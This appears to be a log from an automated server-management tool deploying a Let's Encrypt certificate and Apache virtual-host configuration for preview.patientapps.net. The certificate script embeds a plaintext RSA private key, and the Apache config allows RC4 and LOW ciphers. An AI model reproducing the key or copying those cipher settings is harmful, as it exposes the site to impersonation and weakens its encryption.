MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-06 12:45:05: Establishing a connection
2026-01-06 12:45:05: Establishing a connection
2026-01-06 12:45:05: 

PUT: /tmp/pkp607239

#!/bin/bash
if [ -d "/var/www/patientapps_preview/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-01-06 12:45:05: 

chmod 755 /tmp/pkp607239; /tmp/pkp607239; rm /tmp/pkp607239

2026-01-06 12:45:05: 


0


2026-01-06 12:45:34: Establishing a connection
2026-01-06 12:45:34: 

PUT: /tmp/pkp521066

#!/bin/bash
temp_file=$(mktemp)
TARGET=47e838c5d6fc754b55478008ec934de1.crt

cat > $temp_file <<'endmsg'
70:a1:7b:d4:cf:4e:0f:47:af:c3:f2:6f:3f:15:73:d2

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBVn7HrnYNmiD7xM1evu4P/y8MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTA2MTE0NzAxWhcNMjYwNDA2MTE0NzAwWjAiMSAwHgYDVQQD
ExdwcmV2aWV3LnBhdGllbnRhcHBzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEP
ADCCAQoCggEBANWFZKYOpyV0mN9UsbxVpAnnyb28+KdguOhoJij1Qzg4PpGPjbDe
Z7jFxKC3+OpOlfgjo0acH7yyTT9wGaPu5cDQArDK/xlkvME24aEfRACIDK7vrMiM
oUdDaDfeLNGRUV8KRsGrtleoGgeOhlxL5JImbzXh5r6kU/hqOTMHk4E6CJYJPKCJ
hIwbxJ/+7u/Rb5AgGi3SEoyXCikWpp0b8Lnmz4fxRbjksSmnhUhJ/HtYd329R8cQ
ol8TnwUSwfNcZ33yduPjkYXcbfOGFgVN2c2CSpdMHla4BuaZmhCIwfJTpqGxHQrT
qGTqV8anxX8Re9ayQbjppdTL3PADSxzguA0CAwEAAaOCAi4wggIqMA4GA1UdDwEB
/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/
BAIwADAdBgNVHQ4EFgQUYiX6pPL0Al+Qd7vHy2vnHO+pAwcwHwYDVR0jBBgwFoAU
56ufDywzoFPTXk94yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAC
hhdodHRwOi8vcjEzLmkubGVuY3Iub3JnLzAiBgNVHREEGzAZghdwcmV2aWV3LnBh
dGllbnRhcHBzLm5ldDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOg
IaAfhh1odHRwOi8vcjEzLmMubGVuY3Iub3JnLzYxLmNybDCCAQsGCisGAQQB1nkC
BAIEgfwEgfkA9wB9AKXJeJJdV0YXgocN2IlmC1xVZIt9AEDy7AdoUdGIaRn3AAAB
m5NXUTYACAAABQAuCEkTBAMARjBEAiA01wNIw/FqunvLtbk50FMfptP6cOVTaE64
suOjfDAJ0AIgPayJkOAsxrj2qyXD1+A/nsvtLeUIfk+phFkuURsWCvAAdgCWl2S/
VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZuTV1k+AAAEAwBHMEUCIFT8
3oKcxq7yyXCCGXw7ieaQD+Cqrd6sOybu858/FVd6AiEAlU0nbOSOmzr6LjQhcd0U
3tk3qdxFQTVYLr9oxftWFAkwDQYJKoZIhvcNAQELBQADggEBABawLeAX4Uc4hnq5
qYr38OiSps+ne2a8hqJyR+fSYJ9g7az8omx1Y+LxGRDXam3k2fY7YqDYl+EXi0TJ
4AZCYrs0ULzy5HGIqwlPnS37pSNGL/vJVB+/HdRscBuEWZUmK7X23Ss8XhKUXODE
p4uOd2V/hGWTXDy7kwt+Q3Swqr7eks/uQKN3QBeFSwKJrhrOiEubztCAMGw1vkMJ
zqc0OrYZx0iyB4+vWuD97r84cflxLT94mdNcFeyUdr2NAwJ/yg8ST5ljWzGE91Wn
lGY1r5sHATqzfiKzS1Smta1ZC5Ijyf5J+BsVKiQYDNxGNrNpzB713caRkfRNDwVu
gotpn+0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDVhWSmDqcldJjf
VLG8VaQJ58m9vPinYLjoaCYo9UM4OD6Rj42w3me4xcSgt/jqTpX4I6NGnB+8sk0/
cBmj7uXA0AKwyv8ZZLzBNuGhH0QAiAyu76zIjKFHQ2g33izRkVFfCkbBq7ZXqBoH
joZcS+SSJm814ea+pFP4ajkzB5OBOgiWCTygiYSMG8Sf/u7v0W+QIBot0hKMlwop
FqadG/C55s+H8UW45LEpp4VISfx7WHd9vUfHEKJfE58FEsHzXGd98nbj45GF3G3z
hhYFTdnNgkqXTB5WuAbmmZoQiMHyU6ahsR0K06hk6lfGp8V/EXvWskG46aXUy9zw
A0sc4LgNAgMBAAECggEAKyGfg7XJCNVlPhPXNWKdWMzkITpHhlQQ9g13y+VDV1tx
NCkp55T9ocL9ZbPUCcynGbFlPZGzDYR8+zgTTdynt4utR3YyEriZMnR6Hnh43Zyd
50aOAhL6TzFsH4D3T7wJkme6hEvB8TIJVAZz2LgR633tEBbabB84wSD//fFlWAB5
Cab7BoGYJbx/mps7bF1/ZIBf8WRuDxi4ZtzuPccTW5aXTbExizIkd00+P0hKWuq7
3UoG2uhBx2EHilkyUs2xvC5ihG5PyRv9UU12w6R1HPl/oQVz6u7/+UHWb6xL3eXg
LndR9X1JFNKO4MFzRiBD6YI/cbBYQ60hlmNvMmPn1wKBgQD0BqUhVvo/yAGSARI4
RbzO/0JSjmCG0pRJoVseNyhJoCqiqNtV4UfV+cG1oQIrSDw221ec7Pb1cB2N2gAo
PsIPWOSXrGP7pRLG0mSKkK0dwmNxFOCrM4pDLSCfwrY5sJqjI+ouF9Wjme2Vn7lQ
7/FSVtgG/4HV1lVp1L3mzh52zwKBgQDf/47ePS5p4Mbu8nJYUwZGFedGjJx54KbD
cFtRHiyjSbFx7hKE7Vgx9KmrowQQwhSqrlSb4FWgwgFQOvap/Nj8zmj3nVo9kKhE
m9KAUyQAoo9uSEyWldeglU4rnVCD+rhiNarY2Z3fAVolKfORy8Rz/fMPSJ+XrsPa
So+CzmxaYwKBgCCsbxnKspEtr4AkIpNkSwaQSQoSxDvpIC/HqhKeogdRqcPDxjJ2
io7M9THjkA3Jiz5xGgcJ93sfeuWOZez9kjBJ37mrPGvqS1xRuWKQQo20hGoUuIxT
x1R9S1v4zztkOSBU47suN83DA3vAOijrJ621sREmzvSZ0S/ta0vnF08jAoGBALWA
7tNF4AYLDScxbVYEcGD5/p078s8PKhHTSStBuAnX/ODEeF0dtQlFpvZc8T5jBTwI
Zqan8LqCeW35WUYEjA7NcmCyMB0SykZNvRQeSl35Wx+Rlf2vDTohwWW14zgOQLnT
osx0CWhaQCE9DRBmfJlAfWM1BZxzEGAhaogjm8jhAoGAXlC1fIZcGHFxUn75Za3P
6TciJwVq1viyiQFh0C9Nd4GNfCkh9RxR2ZWlG8fZcdY1KTAH/2gmeJ31o+Dcu1RV
KdkDvuUmr9nVLEUQTP4NE5WjG9WupGpzXyHMfyFRo9RXLBsFAUbOPJQEP+otSeys
5oFovD5Q7OaRK9U8lrjefNE=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-01-06 12:45:35: 

chmod 755 /tmp/pkp521066; /tmp/pkp521066; rm /tmp/pkp521066

2026-01-06 12:45:35: 


dir=/etc/ssl/certs


2026-01-06 12:45:35: 

PUT: /tmp/pkp161882

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/patientapps_preview_net.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-01-06 12:45:35: 

chmod 755 /tmp/pkp161882; /tmp/pkp161882; rm /tmp/pkp161882

2026-01-06 12:45:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_preview_net.conf 47

<VirtualHost *:80>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    #    DocumentRoot	/var/www/patientapps_preview
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-01-06 12:45:35: 

PUT: /tmp/pkp773461

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=patientapps_preview_net.conf
TARGET=/etc/apache2/sites-enabled/patientapps_preview_net.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_preview/public
    #    DocumentRoot	/var/www/patientapps_preview
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	preview.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/47e838c5d6fc754b55478008ec934de1.crt
    DocumentRoot	/var/www/patientapps_preview/public
    <Directory /var/www/patientapps_preview>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/preview_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/preview_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/patientapps_preview_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/patientapps_preview_net.conf)= /etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/patientapps_preview_net.conf= 1'
fi


2026-01-06 12:45:35: 

chmod 755 /tmp/pkp773461; /tmp/pkp773461; rm /tmp/pkp773461

2026-01-06 12:45:35: 




2026-01-06 12:45:35: 

PUT: /tmp/pkp894879

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-01-06 12:45:35: 

chmod 755 /tmp/pkp894879; /tmp/pkp894879; rm /tmp/pkp894879

2026-01-06 12:45:35: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-06 12:45:35: Establishing a connection
2026-01-06 12:45:35: 

PUT: /tmp/pkp462012

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-06 12:45:35: 

chmod 755 /tmp/pkp462012; /tmp/pkp462012; rm /tmp/pkp462012

2026-01-06 12:45:36: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:1)
                 alias myapp.care
         port 80 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:2)
         port 80 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:2)
                 alias www.cn-dego.myapp.care
         port 80 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:2)
                 alias www.d-oak.myapp.care
         port 80 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:2)
                 alias www.ma1-acrp.myapp.care
         port 80 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:2)
                 alias www.ma1-anfr.myapp.care
